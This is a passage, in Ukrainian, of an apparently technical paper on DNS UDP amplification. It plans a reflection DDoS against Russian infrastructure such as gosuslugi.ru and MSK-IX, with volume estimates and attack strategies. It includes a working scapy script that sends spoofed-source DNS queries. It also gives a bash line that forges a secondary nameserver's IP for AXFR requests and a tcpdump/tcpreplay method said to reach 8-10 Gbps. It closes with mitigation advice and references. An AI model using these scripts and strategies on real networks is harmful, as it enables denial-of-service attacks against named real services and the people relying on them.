Ними керували дещо інші ідеї — не проблема ампліфікації `udp` трафіка, а відсутність сегментації пакетів в мережах. Наразі велика кількість мережевого обладнання підтримує `jumbo frames` з типовим значенням 9000 байт, але стандартний MTU Ethernet це 1500 байт (разом з заголовком та преамбулою).

Тож в сучасних версіях `bind` `max-udp-size` на стороні сервера встановлений як 1232 байт, і при перевищенні цієї величини відповідь буде переслана не через UDP а через TCP.

Наведені вище приклади з доменами `microsoft.com` та `gosuslugi.ru` перевищують цей показник, і для ампліфікації UDP використовуватися не можуть.

При розмірі запита в 70 байт (разом з заголовками `udp ip` та `etherframe`) максимальна отримана ампліфікація таким чином становить 18 раз.

Продуктивність авторитетних DNS серверів.

Найбільш часто використовувані dns сервери bind навіть на відносно слабких процессорах показували потужність від 80 тисяч запитів на секунду (qps).

Тож орієнтуючись на 100 тис qps, та розмір відповіді від домену в 1232 байт отримуємо близько 130 мегабайт в секунду (розрахункова ампліфікація в 18 рази).

Намагатися отримати більше за 1Gbps з одного підсилювача не має сенсу, тому обмежуємо кількість запитів до одного підсилювача як 50000 qps, або ж гнучко, в залежності від розрахункового підсилення.

Якщо вважати за критичну ампліфікацію з множителем 10, то перевірка по списку дала статистику що під таку ампліфікацію підпадає лише близько 1% доменів. Але це близько 750 доменів, які використовують по 3-5 авторитетних DNS сервери кожен. З ампліфікацією 10+ разів трафік з кожного підсилювача можна оцінити і 0,25+ Gbps, а $750 \times 3 = 2250$ підсилювачів.

Можливі стратегії і огляд нанесеної шкоди

Тож вже цієї зібраної бази підсилювачів достатньо для загального обсягу атаки в 562+ Gbps, за можливості згенерувати близько 50 Gbps ip-spoofing трафіка.

Цього ще не достатньо щоб “змити” мережу MSK-IX, з її запасом потужності на зараз 2864Gbps, але динаміка росту інтернет каналів — приблизно в 2 рази за 2 роки. І на початку 2022 року потужності були приблизно в 4 рази більш скромними, а база доменів, отримана через liveinternet — в пару разів більша.

На зараз цього достатньо для того, щоб 56 обраних точок в мережі отримали шквал в 10+Gbps сміття. І це лише одна з стратегій, яку можна використати.

Інша стратегія — розділити NS сервери по регіонам — Москва, Пітер, Мінськ. І запустити атаку так, щоб великі відповіді завжди поверталися через міжміські канали в напрямку NS-серверів в тих регіонах.

Супутня шкода — побачивши шкідливий трафік по протоколу DNS у великих обсягах інтернет провайдери з досить великою ймовірністю напишуть правило, що повністю заблокує трафік з цієї ір адреси прямо на вхідному роутері, і таким чином частково зламає роботу розгалуженої системи dns.

Максимальний теоретичний множник, axfr.

В розглянутому вище домені gosuslugi.ru велику відповідь можна отримати на TXT запит щодо самого домена, але селектор mail._domainkey.gosuslugi.ru до загального списку входити не буде, хоча містить істотну і корисну для нашої задачі кількість інформації.

Проте існує можливість змусити dns сервер відправити повні дані щодо домена, всі записи разом.

Це запит типу axfr що використовується на secondary доменному сервері після перезапуску для того щоб отримати всі дані з primary сервера.

Зазвичай ця команда заблокована для виконання з випадкових ір адрес, приклад такої команди:

```
dig gosuslugi.ru @ns1.gosuslugi.ru. AXFR
```

```
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> gosuslugi.ru @ns1.gosuslugi.ru. AXFR
;; global options: +cmd
; Transfer failed.
```

Але є можливість подивитися хто з серверів вважається основним (primary).

```
dig SOA gosuslugi.ru @ns1.gosuslugi.ru.
```

```
;; ANSWER SECTION:
gosuslugi.ru.      600      IN       SOA       ns1.gosuslugi.ru. support-egov.rtlabs.ru. 2025122201 600 7200
1209600 600
```

```
;; AUTHORITY SECTION:
gosuslugi.ru.      600      IN       NS        ns4-l2.nic.ru.
gosuslugi.ru.      600      IN       NS        ns8-l2.nic.ru.
gosuslugi.ru.      600      IN       NS        ns1.gosuslugi.ru.
gosuslugi.ru.      600      IN       NS        ns2.gosuslugi.ru.
```

```
;; ADDITIONAL SECTION:
ns1.gosuslugi.ru. 600      IN       A         213.59.253.4
ns2.gosuslugi.ru. 600      IN       A         213.59.255.175
```

Запит повернув нам 4 NS сервери, з яких один вписаний в рядок SOA, що вказує на те що він primary.

Тож сформувавши запит AXFR з підробленою зворотньою адресою одного з 3-х інших NS серверів цього домена (secondary) ми отримаємо пересланий пакет з максимальною ампліфікацією, бо передаватися буде повністю вся інформація по цій доменній зоні — і та що вже вдалося отримати різними запитами, і та, про яку ми ще не знаємо (наприклад ключів DKIM може бути одночасно кілька комплектів)

Теоретичним плюсом даної стратегії є максимальна можлива ампліфікація, а мінусом — неможливість обирати адресу, куди будуть відправлені пакети.

Проте існує рекомендація розміщувати NS сервери на незалежних технічних майданчиках, щоб домени продовжували нормально функціонувати у випадку аварії на одному з них.

Перевірка показує що

ns1.gosuslugi.ru (213.59.253.4) та ns2.gosuslugi.ru це мережа Ростелеком (Петербург),

а 2 інших ns4-l2.nic.ru., ns8-l2.nic.ru. Це вже Rucenter (Москва).

Одним дуже коротким запитом

dig ns1.gosuslugi.ru AXFR

ми змушуємо відправити primary сервер з Петербурга в Москву повні дані про зону, в яких буде

TXT інформація — що давала ампліфікацію близько 34 раз.

```
gosuslugi.ru.      599      IN       TXT      "v=spf1 mx a:mail.ntt.ru ip4:109.207.0.0/20 ip4:195.28.32.3 ip4:213.59.253.1
ip4:213.59.253.2 ip4:213.59.254.1 ip4:213.59.254.2 ip4:213.59.253.48 ip4:213.59.254.48 ip4:195.28.32.40 -all"
gosuslugi.ru.      599      IN       TXT      "_globalsign-domain-verification=9ZFAp0_-mYpVPR68JxxFXMhps-jy9Xft6UIPbO-
OVV"
gosuslugi.ru.      599      IN       TXT      "_globalsign-domain-verification=NFJShsg6y-
QhYoWNAWg1z6wBbfhGTbMIPeSaNh1r1F"
gosuslugi.ru.      599      IN       TXT      "_globalsign-domain-verification=--
VNJf12X8NkcXuYkA74Oivp5rOF48Qtg7uKgZfZNJ"
gosuslugi.ru.      599      IN       TXT      "_globalsign-domain-verification=T1Gsk9xcmq4iW3HRt-
BQXs8cF5WbxVbAgpTNQopiF6"
gosuslugi.ru.      599      IN       TXT      "_globalsign-domain-verification=HKkkRGDIYVlwOGGycndXO-
vc18FA5ZQD0pdHEhoGiG"
gosuslugi.ru.      599      IN       TXT      "_globalsign-domain-verification=9rYAdYKQF4AMQ8goIHUKkfWeGTIb7BBOs6-
aJqlv"
gosuslugi.ru.      599      IN       TXT      "_globalsign-domain-verification=_F-
lf9mlGb85xLkGSjCCO_ljiHxSU8fVSQRTyK9L1f"
gosuslugi.ru.      599      IN       TXT      "_globalsign-domain-verification=HDx13e3k6kgWg9km65xMNxW1od8p7N-
Ho4MLc4BpPV"
gosuslugi.ru.      599      IN       TXT      "_globalsign-domain-
verification=PTxDZE8MkHxGt4_O2Pq8vcAC9d1gVpBiipcqt8vKKH"
```

gosuslugi.ru. 599 IN TXT "_globalsign-domain-
verification=LJLms53x0vj0ELivuAWgVQhibMIVn0CSAhQRH1Qc3P"

gosuslugi.ru.	599	IN	TXT	"_globalsign-domain-verification=IljdliqDucDeL50opoxSociDLZjklMUu5f6oMP0U6L"
gosuslugi.ru.	599	IN	TXT	"google-site-verification=sEP55rqJqRgqyS8gkR48f75z74rwykT_NBHKUVXwh14"
gosuslugi.ru.	599	IN	TXT	"_globalsign-domain-verification=bgiSm7MjR-OazZTTnc8tItSR1oUPO6C5jphR8PG1vV"
gosuslugi.ru.	599	IN	TXT	"_globalsign-domain-verification=rHo-SVw4IGNW-Q-kHNzyg0PX7QZZq0WU6AeJe8P4gM"
gosuslugi.ru.	599	IN	TXT	"_globalsign-domain-verification=8DQS1nCTa57Om-ehx1XDr8HCMkyZOT0yZD1SDXqWJt"
gosuslugi.ru.	599	IN	TXT	"_globalsign-domain-verification=2dVf6wzbXernRmbbTYQMJTU0yeRqKexLgzjC5NdRtf"

DKIM ключі (про які ми вже знаємо, бо вгадали селектор. І можливо якісь ще).

```
mail._domainkey.gosuslugi.ru. 600 IN      TXT
"v=DKIM1;k=rsa;p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvWTeRa10RQqHG/8DnVTBR8FOpa8RQ53/HGPil4y8E9
B2A3TS+JSVNne0yMGKUDxJrJqGbBGyK51LD8ZNvortf1dMtdsd/641Mmt9xl6sxmaoMUgDZa9dlejRvhD/rk2oR5b4WWg4CT4AwD8C+FV1i+
oyXbGAZ2ootQOa3zTMNMI2/m+Z0xkRoE9KqYy9FuHe5y"
"UbTAqKyqdobGcxDNANO1X1sYVp2mMNF++wxU1Yk/5cyXwz3VOCQikrtV1WJvZrBK//VQZirTQj1FB9vlzMhcVWcRlZxtP0me7D43r/XJPLghDR
Xz8/ntFU/NbOpPSaveC+aHL8kj8dUcxM6w8DQIDAQAB";
```

Список NS серверів

;; AUTHORITY SECTION:

gosuslugi.ru.	600	IN	NS	ns4-l2.nic.ru.
gosuslugi.ru.	600	IN	NS	ns8-l2.nic.ru.
gosuslugi.ru.	600	IN	NS	ns1.gosuslugi.ru.
gosuslugi.ru.	600	IN	NS	ns2.gosuslugi.ru.

Список MX серверів, що обслуговують пошту

gosuslugi.ru.	280	IN	MX	10 mx.gosuslugi.ru.
gosuslugi.ru.	280	IN	MX	20 mx68.gosuslugi.ru.

Список A адрес (всех субдоменів)

Тут повний список невідомий., але це принципіні gosuslugi.ru, www.gosuslugi.ru, mx.gosuslugi.ru. mx68.gosuslugi.ru

Запис SOA

gosuslugi.ru.	600	IN	SOA	ns1.gosuslugi.ru. support-egov.rtlabs.ru. 2025122201 600 7200 1209600 600
---------------	-----	----	-----	---------------------------------------------------------------------------

Загальний обсяг відповіді — не менше за 2700 байт , при розмірі запита 68 байт, з ампліфікацією що перевищує 40х.

Таким чином велика кількість доменів що на керованих запитах давали ампліфікацію менше за 10 — на ахfr запиті, де будуть передаватися всі вищезазначені дані, дадуть множник 15 та вище.

Але більш уважне читання RFC вказує на те що дана концепція не життєспроможна — відповідь на ахfr запит відправляється виключно через tcp тож процес перерветься на створенні tcp з'єднання (обміні syn-ack пакетами.)

Notify

У випадку зміни даних зони на основному NS (primary) він відправляє спеціальні пакети notify до зазначених в файлі зони secondary NS.

Ті, в свою чергу, відправляють запит SOA в primary NS і перевіряють серійний номер зони. Звіривши його з номером, що зберігається в локальному кеші, приймається рішення — чи потрібне оновлення інформації. І якщо рішення прийняте — виконується axfr, з отриманням повних даних про зону від primary сервера.

У випадку вдалої підміни AXFR даних — на secondary NS з'являться фейкові дані.

Це виглядає як чудовий план для атаки, але перевірка показує що зараз “з коробки” передача даних зони через AXFR та IXFR відбувається протоколом tcp, і це було прописано як стандартна поведінка ще в RFC1035 від 1987 року, що зводить можливість успішної атаки а цим сценарієм майже до нуля.

Реалізація генерування spoofed запиту на python

```
#!/usr/bin/env python

"""
Python DNS Client
(C) 2014 David Lettier
lettier.com

A simple DNS client similar to `nslookup` or `host`.
Does not use any DNS libraries.
Handles only A type records.
"""

from scapy.all import *
import random, sys
from dns.resolver import dns

def resolve_host_name(hostname=None, dns_server_ip=None, dst_ip=None, number=1):
    ADDITIONAL_RDCLASS = 65535
    request = dns.message.make_query(hostname, dns.rdatatype.TXT)
    request.flags |= dns.flags.AD
```



```
request.find_rrset(request.additional, dns.name.root, ADDITIONAL_RDCLASS,  
dns.rdatatype.OPT, create=True, force_unique=True)  
data = request.to_wire()
```

```

print(len(data))
for i in range(number):
    spoofed_packet = IP(src=dst_ip,dst=dns_server_ip) / UDP(sport=random.randrange(1, 65000, 1),
dport=53) / data
    send(spoofed_packet)

if __name__ == "__main__":
    if len(sys.argv) == 1:
        print("Usage: %s host_name dns_server_ip reply_to_ip" % sys.argv[0])
        sys.exit(-1)

    # Get the host name from the command line.

    resolve_host_name(hostname=sys.argv[1],      dns_server_ip=sys.argv[2],      dst_ip=sys.argv[3],
number=int(sys.argv[4]))

```

Метод використання:

Назва скрипта, що запускається

назва домена (gosuslugi.ru)

dns сервер, до якого виконується запит (наприклад 8.8.8.8)

IP адреса зі зворотньою адресою

Кількість запитів, що треба сформувати.

Код робочий, генерує запити типу TXT. Можна замінити dns.rdatatype.TXT на dns.rdatatype.ANY.

Відмова від пайтон заради гнучкості.

Але практичне використання показало що швидкодія скрипта на пайтоні недостатня, і скрипти навіть запустивши в багато екземплярів забезпечують занадто малу кількість згенерованих запитів на секунду.

Крім того модифікація скрипта під різноманітні запити з іншими опціями кожен раз вимагала істотної кількості часу.

Була спроба написати те ж саме на CPP, але бажаного рівня швидкості досягнуто все одно не було, а модифікувати стало ще важче. Тож після кількох витрачених днів рішення знайшлося з іншого боку.

Утіліта tcpdump, про яку чула більшість unix/linux користувачів вміє писати дамп трафіка в файл pcap. І в неї є відповідний програвач цього дампу — tcpreplay.

Тож забравши в сервера реальний доступ до інтернету (перенісши порт свіча до якого підключений його інтерфейс, в напрямку котрого

відправляє пакети default route) можна повільно запускати один за одним стандартні системні утиліти dig або nslookup.

В документації до утиліти dig знайшлася відповідна опція
`-b address[#port]`

This option sets the source IP address of the query. The address must be a valid address on one of the host's network interfaces, or "0.0.0.0" or ":::". An optional port may be specified by appending #port.

Перед запуском потрібно було додати потрібну IP адресу до інтерфейсу сервера, а після виконання запита — затерти цю IP адресу.

Приклад реалізації на bash + tcpreplay

```
# nslookup ns4-l2.nic.ru.
Server:      8.8.8.8
Address:     8.8.8.8#53
```

```
Non-authoritative answer:
Name: ns4-l2.nic.ru
Address:
```

91.217.20.20

```
# ip addr add 91.217.20.20/32 dev lo ; dig AXFR gosuslugi.ru -b 91.217.20.20 @ns1.gosuslugi.ru; ip addr del 91.217.20.20/32 dev lo
```

Цей рядок додає IP адресу на локальний інтерфейс lo, і виконує запит на AXFR в напрямку ns1.gosuslugi.ru від імені secondary NS, який (як було показано вище) знаходиться в іншому місті.

Швидкість (QPS) значно впала, відносно реалізації на пайтоні, зате з'явилася повна гнучкість і інтуїтивна зрозумілість кода, який тепер був просто командами bash (командного рядка).

А набравши за деякий час (близько доби) рсар файл потрібного розміру — він був запущений на “програвання” за допомогою tcpreplay, і досягнута швидкість була на рівні 8-10Gb.

Сам tcpreplay це окремий пакет, ставиться з репозиторія убунту як apt-get install tcpreplay. Ось короткий список його ключів.

```
# tcpreplay
```

tcpreplay error: The intf1 option is required

tcpreplay (tcpreplay) - Replay network traffic stored in pcap files

Usage: tcpreplay [-<flag> [<val>] | --<name>[={| }<val>]]... <pcap_file(s)>

-d, --debug=num	Enable debugging output
-q, --quiet	Quiet mode
-T, --timer=str	Select packet timing mode: select, ioport, gtod, nano
--maxsleep=num	Sleep for no more then X milliseconds between packets
-v, --verbose	Print decoded packets via tcpdump to STDOUT
-A, --decode=str	Arguments passed to tcpdump decoder
-K, --preload-pcap	Preloads packets into RAM before sending
-c, --cachefile=str	Split traffic via a tcpprep cache file
-2, --dualfile	Replay two files at a time from a network tap
-i, --intf1=str	Client to server/RX/primary traffic output interface
-I, --intf2=str	Server to client/TX/secondary traffic output interface
--listnics	List available network interfaces and exit
-l, --loop=num	Loop through the capture file X times
--loopdelay-ms=num	Delay between loops in milliseconds
--pktlen	Override the snaplen and use the actual packet len
-L, --limit=num	Limit the number of packets to send
--duration=num	Limit the number of seconds to send
-x, --multiplier=str	Modify replay speed to a given multiple
-p, --pps=str	Replay packets at a given packets/sec
-M, --mbps=str	Replay packets at a given Mbps
-t, --topspeed	Replay packets as fast as possible
-o, --oneatatime	Replay one packet at a time for each user input
--pps-multi=num	Number of packets to send for each time interval
--unique-ip	Modify IP addresses each loop iteration to generate unique flows
--unique-ip-loops=str	Number of times to loop before assigning new unique ip
--no-flow-stats	Suppress printing and tracking flow count, rates and expirations
--flow-expiry=num	Number of inactive seconds before a flow is considered expired
-P, --pid	Print the PID of tcpreplay at startup
--stats=num	Print statistics every X seconds, or every loop if '0'
-V, --version	Print version information
-h, --less-help	Display less usage information and exit
-H, --help	display extended usage information and exit
-!, --more-help	extended usage information passed thru pager
--save-opts[=arg]	save the option state to a config file
--load-opts=str	load options from a config file

Options are specified by doubled hyphens and their name or by a single hyphen and the flag character.

tcpdump is a tool for replaying network traffic from files saved with tcpdump or other tools which write pcap(3) files.

Please send bug reports to: <tcpdump-users@lists.sourceforge.net>

Запис трафіка в pcap файл в найпростішому варіанті робиться командою

```
tcpdump -i eth0 -c 1000000 -w dns.pcap
```

Де eth0 — назва мережевого інтерфейсу, який ми слухаємо.

1 млн — кількість пакетів, які намагаємося записати в pcap файл
dns.pcap — назва файла, в який пишемо трафік.

Частина 3

Остаточні висновки з аналізу протоколу DNS

Старий, спроектований майже пів століття тому протокол dns виявився на диво життєздатним і здатен давати гідну відсіч викликам сучасності.

Суттєвим недоліком можливість вибрати з усіх існуючих доменів досить велику фокус-групу доменів, що дозволяють провести ампліфікацію трафіка UDP в 10 та більше разів. Однак обмеження на максимальну ампліфікацію близько 17 разів не дозволяє створювати над ефективні штучно змодельовані доменні записи.

Сучасні інтернет канали дозволяють рядовому домашньому користувачу отримувати швидкість до 1 млн разів більше, ніж в часи коли формулювалися принципи протоколу dns.

Латентність (час відповіді) також з однієї секунди на останній милі зменшилася до мілісекунд.

Тож лаконічність втратила свою важливість, і стала другорядною чи взагалі не важливою.

Продуктивність забезпечується багатократним ростом потужності комп'ютерних систем, можливістю розподілу запитів на кілька серверів і в спеціальних випадках — можливість анонсу однакових Ір адрес з різних точок земної кулі за допомогою bgp multicast. Ця ж технологія забезпечує відмовостійкість у випадку аварії або стихійного лиха.

Продуктивність поточних програмних реалізацій дозволяє обслуговувати канали до 10GbE, і забезпечувати доступність доки канали не заповнені.

Забезпечення цілісності та несуперечливості (автентичності) даних — тут все не ідеально, але відносно добре.

Вже давно сформовані RFC 7858 (DoT, DNS over TLS) та RFC 8484 (DoH, DNS over http), які повністю позбавлені недоліків базової реалізації, і

навіть RFC 7766 (DNS over TCP) позбавлений небезпеки отруєння кеша DNS та ампліфікації UDP трафіку.

Але інтернет це не тільки потужні комп'ютерні системи з повнофункціональними програмними реалізаціями рівня bind, а й інтернет речей, в яких реалізація dns клієнта обмежена кількома десятками байт прошивки. І велика кількість популярних wifi роутерів не мала можливостей dns over tcp, хоча навіть в базовому протоколі описана необхідність fallback to tcp (переходу на tcp з другої спроби, якщо перший зв'язок через udp не закінчився вдало)

Тож якщо самі dns сервери мають підтримку нових протоколів і спілкуються між собою за допомогою них — це робить не потрібним милицю dnssec, бо питання отруєння кеша відпадає.

Але щоб повністю позбавитися від можливості ампліфікації udp трафіка потрібна відмова від обслуговування застарілих або максимально спрощених в реалізації клієнтів, тобто відмовитися від інтернету речей.

Практично є проста порада — зменшити приблизно в 2 рази параметр max-udp-size, або аналог, що обмежує максимальний розмір відповіді через транспортний протокол udp. У випадку спрощених dns клієнтів переважна більшість запитів будуть виконуватися через udp і на зменшеному до 600 параметрі, а максимальна досяжна ампліфікація впаде нижче 10-кратної.

Список використаних джерел

- 1: , UADOM Всеукраїнська конференція учасників доменної індустрії, ,
<https://uadom.cctld.ua/>
- 2: , ARPANET - історія та еволюція, ,
<https://www.darpa.mil/news/features/arpamet>
- 3: , The RFC Series, , <https://www.rfc-editor.org/>
- 4: J. Postel, FILE TRANSFER PROTOCOL, 1980,
<https://datatracker.ietf.org/doc/html/rfc765>
- 5: P. Mockapetris, DOMAIN NAMES - CONCEPTS and FACILITIES, 1983, <https://datatracker.ietf.org/doc/html/rfc882>
- 6: P. Mockapetris, DOMAIN NAMES - IMPLEMENTATION and SPECIFICATION, 1983, <https://datatracker.ietf.org/doc/html/rfc883>
- 7: Jodi Haasz, Ethernet Working Group, 1983,
https://standards.ieee.org/standard/802_3-2018.html
- 8: , ITU-T Recommendation V.32, 1984, <https://www.itu.int/rec/T-REC-V.32>
- 9: ITU-T Recommendation V.34 1994<https://www.itu.int/rec/T-REC-V.34>
- 10: Zhaohui (Jeffrey) Zhang , Lenny Giuliano , Keyur Patel , IJsbrand Wijnands , Mankamana Prasad Mishra , Arkadiy Gulko BGP multicast ip draft <https://datatracker.ietf.org/doc/draft-ietf-bess-bgp-multicast/09/>
- 11: , ITU-T Recommendation V.32, 1987, <https://www.itu.int/rec/T-REC-V.32>
- 12: , spam, , <https://www.britannica.com/topic/spam>
- 13: S. Kitterman, Sender Policy Framework (SPF), 2014,
<https://datatracker.ietf.org/doc/html/RFC7208>

- 14: E. Allman J. Callas M. Delany M. Libbey J. Fenton, DomainKeys Identified Mail (DKIM) Signatures, 2007,
<https://datatracker.ietf.org/doc/html/RFC4871>
- 15: K. Moriarty, Ed. B. Kaliski A. Rusch, PKCS #1: RSA Cryptography Specifications Version 2.2, 2016,
<https://datatracker.ietf.org/doc/html/RFC8017>
- 16: , Ed448 for dnssec, 2015, <https://ed448.no/>

- 17: O. Sury R. Edmonds, Edwards-Curve Digital Security Algorithm (EdDSA) for DNSSEC, 2017, <https://datatracker.ietf.org/doc/html/rfc8080>
- 18: E. Rescorla, HTTP Over TLS, 2000, <https://datatracker.ietf.org/doc/html/rfc2818>
- 19: J. Hodges C. Jackson A. Barth, HTTP Strict Transport Security (HSTS), 2012, <https://datatracker.ietf.org/doc/html/rfc6797>
- 20: R. Arends R. Austein M. Larson D. Massey, DNS Security Introduction and Requirements, 2005, <https://datatracker.ietf.org/doc/html/rfc4033>
- 21: R. Arends R. Austein M. Larson D. Massey, Resource Records for the DNS Security Extensions, 2005, <https://datatracker.ietf.org/doc/html/rfc4034>
- 22: R. Arends R. Austein M. Larson D. Massey, Protocol Modifications for the DNS Security Extensions, 2005, <https://datatracker.ietf.org/doc/html/rfc4035>
- 23: P. Ferguson D. Senie, Network Ingress Filtering: Defeating Denial of Service Attacks which employ IP Source Address Spoofing, 2000, <https://datatracker.ietf.org/doc/html/rfc2827>
- 24: F. Baker P. Savola, Ingress Filtering for Multihomed Networks, 2004, <https://datatracker.ietf.org/doc/html/rfc3704>
- 25: Y. Rekhter, Ed. T. Li, Ed. S. Hares, Ed., A Border Gateway Protocol 4 (BGP-4), 2006, <https://datatracker.ietf.org/doc/html/rfc4271>